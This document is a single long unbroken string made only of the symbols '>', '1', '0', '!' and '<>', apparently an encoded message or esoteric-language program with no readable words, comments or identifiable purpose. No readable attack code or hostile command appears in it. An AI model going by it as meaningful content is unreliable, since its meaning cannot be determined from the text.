>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1!101101010111>01!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>10110><><>1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0><>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!<>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!<><>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!10110>1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!<>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>101101010111>01!1!1!1!1!1!1010>01>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!1>0><>1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!1>0>1>0>10110>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!101101010111>01!1!1!1010>010110>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0><>1!1>0>1010>01>0>1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1>01010111>01010>01>0>1>0><>1!1!1!1>0>1!1>0>1>01010111>01!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>01010111>01!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1>0>10110>10110>10110>10110>10110>1!10110>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1!1>0>1>0>101101010111>01!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0><>1!1>0>1010>01>0>1>0>1!1!<>1!1>0>1>0>1!<>1010>01>0>1>0>1!<>1!1!10110><>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!101101010111>01!1!1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>10110>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1!1!1!1!1010>01>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!10110>1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!10110>1!1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>101101010111>01!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0><>1!1>0>1010>01>0>1!1!<>1!1>0>1>0>1!1>0>1>01010111>01010>01>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>01010111>01!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!10110>1!1>0>1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>01010111>01!1!<>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0><>1>0>1!1>0>1!1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1>0>1>01010111>10111>0<>1!1!1!1!1010>01>0>1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!1!10110>1!<>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>01010111>01!1!1!1010>01>0>1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!10110>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!<>1!1>0>1!1!1>0>1010>01>0><>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<><>1>0>1!1>0>1!1>0>1010>01>0>1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1010>01>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!101101010111>01>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0><>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1>0>1>0><>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1010>01>0>1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!<>1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>10110>1!1!1010>01>0>1!1!1!1!1!1!1!1!1!10110>1!1010>01>0><>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>010110>1!1!1!1>01010111>01!1!1!1!<>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1!1!1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>01010111>01!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1010>010110>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1!1!1010>01>0>10110>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>010110>1!1!10110>1!10110>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1!101101010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>01010111>01>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1010>01010>01010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!<>10110>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0>10110>1!1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0><>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1010>01>0>1!10110>1!1!1!10110>10110>1!1!1!1>0>1!1!1!1010>01>0>1>0>1!10110>1!1!1!10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1>0>1!1!1!1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!10110>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1!1>0>1!1>0><>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1!1!10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>1>0>10110>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1010>010110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!10110>10110>1!1>0>10110>10110>10110>10110>10110>1!1!1!10110>10110>1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!<>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!<>1!1>0><><>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1>01010111>01!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1!10110>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0>1!1!<>1!10110>1!1!1>0>1>01010111>01!1!1!1>01010111>01!1!1!1010>010110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!10110>10110>1!1>0>10110>10110>10110>10110>10110>1!1!1!1>0>1>0>10110>1!1>0>1!1!10110>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1>0>10110><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1>01010111>0<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!10110>1!<>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1!10110>10110>1!10110>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0><><>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1!10110>10110>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0>1!1!<>1!10110>1!1!1>0>1>01010111>01!1!1!1>01010111>01!1!1!1010>010110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1010>010110>1!1!1!1!1!10110>10110>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!1>01010111>10111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!10110>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>01010111>010110>1!1!1>0>1>0>101101010111>01!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1010>01>0>1>0>1!<>1!1>0>1>0>1!1!1>01010111>01010>01>0>1>0><>1!10110>1!1!1>01010111>01!1!1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>01010111>01>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1>0>1!1!<>1!10110>1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>101101010111>01>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1!10110>10110>1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!<>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!101101010111>01!1>0>1010>01>0>1>0>1!1!1!1!1!1!10110>1!1>0>101101010111>01010>01>0>1>0>1!<>1!1!1>0>101101010111>10111>01>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1>0>1>0>1!<>1!1>0>10110>1!1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1!1>0>10110>10110>10110>1!1>0>1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1!1!1>0>10110>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>101101010111>01!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1>0>1!1!<>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<><>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1010>01>0><>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>10110>10110>10110>1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!<>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1010>01>0>1!<>1!10110>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0><>1>0>1!1>0>1!1!1>0>10110>1!1!1!101101010111>01!1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!10110>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1>01010111>01!1>0>1010>01>0>1>0>1!1!<>1>0>10110><>1010>01>0>1>0><>1>0>1!1>0>1!1>0>1!<>1!1!1!1!1>